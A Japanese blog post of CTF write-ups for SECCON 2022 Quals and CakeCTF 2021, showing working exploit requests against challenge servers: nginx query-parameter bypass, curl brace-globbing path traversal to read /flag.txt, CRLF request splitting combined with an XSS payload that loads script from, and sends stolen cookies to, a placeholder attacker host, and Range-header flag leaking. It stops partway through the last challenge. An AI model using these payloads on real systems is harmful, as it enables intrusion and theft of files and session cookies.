SECCON CTF 2022 Quals writeups

今年も相変わらず会社のチームでSECCON予選に出場。主にWeb問を中心に解いて最終的にfind flag、skipinx、easylfi、bffcalcの4問を解いた。

国内本戦には一応出られそうな見込み。上位チームはWriteupの提出が必要ということでここに記す。

misc

find flag

#!/usr/bin/env python3.9
import os

FLAG = os.getenv("FLAG", "FAKECON{*** REDUCTED ***}").encode()

def check():
    try:
        filename = input("filename: ")
        if open(filename, "rb").read(len(FLAG)) == FLAG:
            return True
    except FileNotFoundError:
        print("[-] missing")
    except IsADirectoryError:
        print("[-] seems wrong")
    except PermissionError:
        print("[-] not mine")
    except OSError:
        print("[-] hurting my eyes")
    except KeyboardInterrupt:
        print("[-] gone")
    return False

if __name__ == '__main__':
    try:
        check = check()
    except FileExistsError:
        print("[-] something went wrong")
        exit(1)
    finally:
        if check:
            print("[+] congrats!")
            print(FLAG.decode())

コードをよーく見るとFileNotFoundError, IsADirectoryError, PermissionError, OSError, KeyboardInterrupt以外の例外を発生させればflagが得られることがわかる。ctrl+dEOFErrorを発生させればflagが得られる。

filename: [-] something went wrong
[+] congrats!
SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll}

と、さらっと解けた風に書いているが、実際には全然解き方が分からずやけくそでブルートフォースするスクリプトを走らせたり止めたりしていたらWiresharkになぜかflagが記録されていて解けたのであった。

web

skipinx

Node.js製のサーバーの前にリバプロとしてNginxが動いているという構成。

Nginxではクエリ文字列にproxy=nginxを付与してアプリにリクエストを送信する。

  location / {
    set $args "${args}&proxy=nginx";
    proxy_pass http://web:3000;
  }

バックエンドのアプリではクエリ文字列にproxy=nginxが含まれない場合にフラグを返す処理が書かれている。

app.get("/", (req, res) => {
  req.query.proxy.includes("nginx")
    ? res.status(400).send("Access here directly, not via nginx :(")
    : res.send(`Congratz! You got a flag: ${FLAG}`);
});

色々考えたが割と多くの人が解けていたので適当にガチャガチャした結果、最終的に次のリクエストにより制限を突破できた。

http://skipinx.seccon.games:8080/?proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a&proxy=a
Congratz! You got a flag: SECCON{sometimes_deFault_options_are_useful_to_bypa55}

easylfi

from flask import Flask, request, Response
import subprocess
import os

app = Flask(__name__)


def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid


def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)
    return text


@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response


@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "Do not try path traversal :("

    try:
        proc = subprocess.run(
            ["curl", f"file://{os.getcwd()}/public/{filename}"],
            capture_output=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout"

    if proc.returncode != 0:
        return "Something wrong..."
    return template(proc.stdout.decode(), request.args)

超簡易なテンプレートエンジン的なものをもったWebアプリであることがわかる。テンプレートとなるローカルファイルを読み込む際にわざわざcurlを使っているあたりが実に怪しい。

flagを得るためにやることはシンプルで次の通り。

  • ..%という文字を使わずにパストラバーサルをして/flag.txtを読む
  • 出力にSECCONという文字列が含まれないようにする(flagの形式はSECCON{xxx}

まずはflag.txtを読み込めるようにする。

curlのmanpageを眺めると次の記述が見つかる*1

You can specify multiple URLs or parts of URLs by writing part sets within braces and quoting the URL as in: "http://site.{one,two,three}.com"

波括弧を使うと何かできそうな気がしたので色々試したところ次のリクエストで..を使わずにパストラバーサルをしてflag.txtを読み出すことができた。

GET /{hello.html,.\./.\./flag.txt} HTTP/1.1
Host: easylfi.seccon.games:3000
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Xxx, xx Nov 2022 xx:xx:xx GMT
Content-Type: text/html; charset=utf-8
Content-Length: 10
Connection: close

Try harder

ローカルでSECCON文字列のチェックを無効化した問題サーバーを動かして前述のリクエストを送信すると、SECCONという文字列が含まれているflag.txtを読み出すことに成功していることがわかる。

HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Xxx, xx Nov 2022 xx:xx:xx GMT
Content-Type: text/html; charset=utf-8
Content-Length: 240
Connection: close

--_curl_--file:///app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, {name}!</h1>
</body>
</html>
--_curl_--file:///app/public/../../flag.txt
SECCON{dummydummy}

次にこのレスポンスからSECCONという文字列を消す方法を考える。

ここでテンプレートエンジンの仕様を確認すると次のことがわかる。

  • クエリ文字列のkeyをvalueに置換する
  • クエリ文字列のkeyは{で始まり}で終わることと、波括弧はそれ以外の場所に含まれないことを確認するバリデーションがある
    • ただしバリデーションに不備がありkeyが{の1文字だけでも受け入れてしまう

この不備を使うと次の手順によりSECCONという文字列を削除することができる。

↓最初の状態

Hello, {name}! ... SECCON{dummydummy}

{name}AAA{に置換

Hello, AAA{! ... SECCON{dummydummy}

{}{に置換

Hello, AAA}{! ... SECCON}{dummydummy}

{! ... SECCON}BBBに置換

Hello, AAA}BBB{dummydummy}

実際には次のリクエストでSECCONをレスポンスから消し去ることができる。

GET /{hello.html,.\./.\./flag.txt}?{name}=AAA{&{=}{&%7B%21%3C%2Fh1%3E%0A%3C%2Fbody%3E%0A%3C%2Fhtml%3E%0A%2D%2D%5Fcurl%5F%2D%2Dfile%3A%2F%2F%2Fapp%2Fpublic%2F%2E%2E%2F%2E%2E%2Fflag%2Etxt%0ASECCON%7D=BBB HTTP/1.1
Host: easylfi.seccon.games:3000
HTTP/1.1 200 OK
Server: Werkzeug/2.2.2 Python/3.10.8
Date: Xxx, xx Nov 2022 xx:xx:xx GMT
Content-Type: text/html; charset=utf-8
Content-Length: 199
Connection: close

--_curl_--file:///app/public/hello.html
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <title>easylfi</title>
</head>
<body>
  <h1>Hello, AAA}BBB{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}

bffcalc

問題は複数のサーバーで構成されており、リクエストは次のように処理される。

nginx -> bff -> backend

このほかにbotも動いており、botに問題サーバーへアクセスされることもできる。

nginxは問題サーバーとbotへのリクエストのルーティングをしているだけで特殊なことは何もしていない。

bffは/へのリクエストの場合、静的なページを返すがそれ以外のページへのアクセスの場合はbackendにリクエストを転送する。

backendはリクエストのクエリ文字列exprの長さが50文字未満、かつ、0123456789+-*/のみで構成されている場合はexprevalする。それ以外の場合はexprをそのまま返す。

flagはbotcookieに入っているが、HttpOnly属性が付与されており普通にXSSするだけでは取得することができない。

コードを眺めているとbffからbackendにHTTPリクエストを送信する処理が、HTTPリクエストを文字列として生成し、生のsocketを使って送信するという実装になっておりここになんらかの穴がありそうと感じた。

def proxy(req) -> str:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect(("backend", 3000))
    sock.settimeout(1)

    payload = ""
    method = req.method
    path = req.path_info
    if req.query_string:
        path += "?" + req.query_string
    payload += f"{method} {path} HTTP/1.1\r\n"
    for k, v in req.headers.items():
        payload += f"{k}: {v}\r\n"
    payload += "\r\n"

    sock.send(payload.encode())
    time.sleep(.3)
    try:
        data = sock.recv(4096)
        body = data.split(b"\r\n\r\n", 1)[1].decode()
    except (IndexError, TimeoutError) as e:
        print(e)
        body = str(e)
    return body

↑のpayloadをprintするように改造して色々リクエストを投げると次のことに気づいた。

下記のリクエストをbff(実際にはnginx)に対して送信すると

GET /AAA%0d%0aBBB?expr=CCC%0d%0aDDD HTTP/1.1
Host: localhost:3000

bffは次のリクエストを生成してbackendに送信する。

GET /AAA
BBB?expr=CCC%0d%0aDDD HTTP/1.1
Remote-Addr: 172.19.0.6
Remote-Host: 172.19.0.6
Connection: upgrade
Host: localhost
X-Real-Ip: 172.19.0.1
X-Forwarded-For: 172.19.0.1
X-Forwarded-Proto: http

パスのURLエンコードされた文字列がデコードされ、改行がそのままリクエストに反映されてしまっている。これを利用することで変なリクエストを生成させて最終的にbotcookieを入手できそうな雰囲気がある。

解き方として次の方針を立てた。

  • Flagはcookieに含まれるためなんらかの方法でリクエストヘッダを入手する必要がある
  • exprの値はそのまま返される
  • なんらかの方法でHTTPヘッダをexprの値としてサーバーに認識させてflagを入手する

(他の人のwriteupを見ると実際にはヘッダーをエラーメッセージに出力させるスマートな方法があったようだが、そこに気づかなかったため面倒なこの方法で突き進んでいった。)

クエリ文字列のexprcookieを入れるのは無理だったが、色々試しているうちにbackendはクエリ文字列のexprだけではなくPOSTリクエストのbodyのexprも読み込んでくれることに気づいた。したがって次のリクエストをbackendに送信すると

GET /AAA%20HTTP/1.1%0d%0aHost:a%0d%0a%0d%0aPOST%20/%20HTTP/1.1%0d%0aHost:b%0d%0aContent-Length:100%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0a%0d%0aexpr= HTTP/1.1
Host: localhost:3000

bffには次のリクエストが送信される。

GET /AAA HTTP/1.1
Host:a

POST / HTTP/1.1
Host:b
Content-Length:100
Content-Type:application/x-www-form-urlencoded

expr= HTTP/1.1
Remote-Addr: 172.19.0.6
Remote-Host: 172.19.0.6
Connection: upgrade
Host: localhost
X-Real-Ip: 172.19.0.1
X-Forwarded-For: 172.19.0.1
X-Forwarded-Proto: http

bffはPOSTのbodyのexprの値をそのまま返すので、HTTPリクエストヘッダを含む次のレスポンスが返される。(幸いにも改行などは無視してくれる模様。)

HTTP/1.1 200 OK
Server: nginx/1.23.2
Date: Wed, 16 Nov 2022 16:40:05 GMT
Content-Type: text/html;charset=utf-8
Content-Length: 427
Connection: keep-alive
Via: waitress

42HTTP/1.1 200 OK
Content-Length: 95
Content-Type: text/html;charset=utf-8
Date: Wed, 16 Nov 2022 16:40:05 GMT
Server: CherryPy/18.8.0
Via: waitress

 HTTP/1.1
Remote-Addr: 172.19.0.6
Remote-Host: 172.19.0.6
Connection: upgrade
Host: localhoHTTP/1.0 200 OK
Connection: close
Content-Length: 2
Content-Type: text/html;charset=utf-8
Date: Wed, 16 Nov 2022 16:40:05 GMT
Server: CherryPy/18.8.0
Via: waitress

42

botにこのようなリクエストを送信させレスポンスを入手すればflagが手に入りそうである。

exprに次を指定し、botにアクセスさせる。

<img src=x onerror="s=document.createElement('script');s.src='http://XXXX/a.js';document.body.appendChild(s)">

a.jsの中身

fetch("/AAA%20HTTP/1.1%0d%0aHost:a%0d%0a%0d%0aPOST%20/%20HTTP/1.1%0d%0aHost:b%0d%0aContent-Length:431%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0a%0d%0aexpr=")
    .then((resp) => resp.text())
    .then((data) => {
        (new Image()).src = 'http://XXXX/?a=' + data;
    })

このリクエストによりbackendには次のリクエストが送信されbodyに入ったcookieがレスポンスとして返されるはずである。

GET /AAA HTTP/1.1
Host:a

POST / HTTP/1.1
Host:b
Content-Length:431
Content-Type:application/x-www-form-urlencoded

expr= HTTP/1.1
Remote-Addr: 172.19.0.6
Remote-Host: 172.19.0.6
Connection: upgrade
Host: nginx
X-Real-Ip: 172.19.0.3
X-Forwarded-For: 172.19.0.3
X-Forwarded-Proto: http
User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Referer: http://nginx:3000/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: flag=SECCON{dummydummy}

が、実際に入手できたレスポンスは次だった。

42HTTP/1.1 200 OKContent-Length: 200Content-Type: text/html;charset=utf-8Date: Wed, 16 Nov 2022 16:59:32 GMTServer: CherryPy/18.8.0Via: waitress HTTP/1.1Remote-Addr: 172.19.0.6Remote-Host: 172.19.0.6Connection: upgradeHost: nginxX-Real-Ip: 172.19.0.3X-Forwarded-For: 172.19.0.3X-Forwarded-Proto: httpUser-Agent: Mozilla/5.0 (X11

HTTPリクエストヘッダの途中まではいい感じに返ってきているが、User-AgentのMozilla/5.0 (X11以降が返されていない。これはbackendのcherrypyがbodyをパースする際にUser-Agentに含まれる;をデータの区切りとして認識してexprがそこで終わってしまったためである(むしろ改行が入っていても問題ないことにちょっと驚いたが)。

さて、fetch()では一部のヘッダー*2を除いてヘッダーの値を変更することが可能であり、User-Agentは変更できることになっている。したがってUser-Agentを別の値に変更すればよさそうと思ったが、試してみると変更ができない。調べてみるとなんとChromeのバグ*3botChromeを使っている)によりUser-Agentを変更できないことがわかった。

このことに気づいたとき、作問者のArk氏は問題の難易度を上げるためにChromeのバグも利用するのかと一人で感動して震えていた。(想定解は別の方法な気がするので、今となってはこれは意図していなかった気もするが。)

;が含まれるもう一つのヘッダであるAccept-Languageは変更可能なのでAccept-Language: &expr=と指定すればAccept-Language以降がレスポンスに含まれると考えたがAccept-Languageを変更するとヘッダの順番が次のように変わってしまい、またもやUser-Agentの;に阻まれることとなってしまった。(ここでもなんてよくできた問題なんだと感動していた。)

Remote-Addr: 172.19.0.6
Remote-Host: 172.19.0.6
Connection: upgrade
Host: nginx
X-Real-Ip: 172.19.0.3
X-Forwarded-For: 172.19.0.3
X-Forwarded-Proto: http
Accept-Language: &expr=
User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Referer: http://nginx:3000/
Accept-Encoding: gzip, deflate
Cookie: flag=SECCON{dummydummy}

試行錯誤の末、最終的にRefererは同一オリジンであれば変更することができ、変更してもHTTPヘッダの順序は変わらないことが判明したため、次のJavaScriptbotに実行させることにより

fetch("/AAA%20HTTP/1.1%0d%0aHost:a%0d%0a%0d%0aPOST%20/%20HTTP/1.1%0d%0aHost:b%0d%0aContent-Length:426%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0a%0d%0aBBB=",
    {
        headers: { "Accept-Language": "CCC" },
        referrer: "http://nginx:3000/?&expr="
    })
    .then((resp) => resp.text())
    .then((data) => {
        (new Image()).src = 'http://XXXX/?a=' + data;
    })

backendには次のリクエストが送信され

GET /AAA HTTP/1.1
Host:a

POST / HTTP/1.1
Host:b
Content-Length:426
Content-Type:application/x-www-form-urlencoded

BBB= HTTP/1.1
Remote-Addr: 172.19.0.6
Remote-Host: 172.19.0.6
Connection: upgrade
Host: nginx
X-Real-Ip: 172.19.0.3
X-Forwarded-For: 172.19.0.3
X-Forwarded-Proto: http
Accept-Language: CCC
User-Agent: Mozilla/5.0 (X11; Linux aarch64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Referer: http://nginx:3000/?&expr=
Accept-Encoding: gzip, deflate
Cookie: flag=SECCON{dummydummy}

最終的なレスポンスとしてflagを手に入れることができる。

42HTTP/1.1 200 OKContent-Length: 65Content-Type: text/html;charset=utf-8Date: Wed, 16 Nov 2022 17:51:27 GMTServer: CherryPy/18.8.0Via: waitressAccept-Encoding: gzip, deflateCookie: flag=SECCON{dummydummy}

実際の問題サーバーではPOSTのContent-Lengthを465に調整すると次の応答を得られ、flagが入手できた。

42HTTP/1.1 200 OKContent-Length: 105Content-Type: text/html;charset=utf-8Date: Wed, 16 Nov 2022 17:56:41 GMTServer: CherryPy/18.8.0Via: waitressAccept-Encoding: gzip, deflateCookie: flag=SECCON{i5_1t_p0ssible_tO_s7eal_http_only_cooki3_fr0m_XSS}

CakeCTF 2021 Writeup

久しぶりにCTFに出たので久しぶりにwriteup描いてみる。

telepathy

問題文

HTTP is no longer required. It's time to use telepathy to communicate more securely and quickly. Here is my PoC: http://misc.cakectf.com:18100

問題のソースコードも与えられる。

問題の概要

与えられているファイルを見ると、このWebサイトはnginx(OpenResty)の後ろにGo製のシンプルなWebサーバーが動いているという構成で、後ろのWebサーバーがflagを送信しているだけという単純な構成。

nginxの設定ファイルの一部は次のようになっている。

location / {
    # I'm getting the flag with telepathy...
    proxy_pass  http://app:8000/;

    # I will send the flag to you by HyperTextTelePathy, instead of HTTP
    header_filter_by_lua_block { ngx.header.content_length = nil; }
    body_filter_by_lua_block { ngx.arg[1] = ngx.re.gsub(ngx.arg[1], "\\w*\\{.*\\}", "I'm sending the flag to you by telepathy... Got it?\n"); }
}

body_filter_by_lua_blockの指定によりレスポンスに含まれる/\w*\{.*\}/I'm sending the flag to you by telepathy... Got it?\nに書き換えられることがわかる。flagはCakeCTF{...}という形式なのでこのルールにマッチし、書き換えられてしまう。

解き方

前述の正規表現にマッチすると内容が書き換えられてしまうため、レスポンスが正規表現にマッチしないように一部だけを送信してもらえれば良い。具体的にはHTTPリクエストヘッダにRangeを指定することでレスポンスを一部だけ取得することが可能となる。サーバーからのレスポンスヘッダにはAccept-Ranges: bytesとありbyte単位で受信するサイズを指定できることもわかる。

まず次のリクエストを送る。

GET / HTTP/1.1
Host: misc.cakectf.com:18100
Range: bytes=0-10

すると次のレスポンスが返される。

HTTP/1.1 206 Partial Content
Server: openresty/1.19.3.2
Date: Sat, 28 Aug 2021 23:41:35 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Accept-Ranges: bytes
Content-Range: bytes 0-10/28
Last-Modified: Fri, 27 Aug 2021 03:48:29 GMT
Content-Length: 11

CakeCTF{r4n

無事flagの前半を取得できたので後半も取得する。

GET / HTTP/1.1
Host: misc.cakectf.com:18100
Range: bytes=8-
HTTP/1.1 206 Partial Content
Server: openresty/1.19.3.2
Date: Sat, 28 Aug 2021 23:44:29 GMT
Content-Type: text/plain; charset=utf-8
Connection: keep-alive
Accept-Ranges: bytes
Content-Range: bytes 8-27/28
Last-Modified: Fri, 27 Aug 2021 03:48:29 GMT
Content-Length: 20

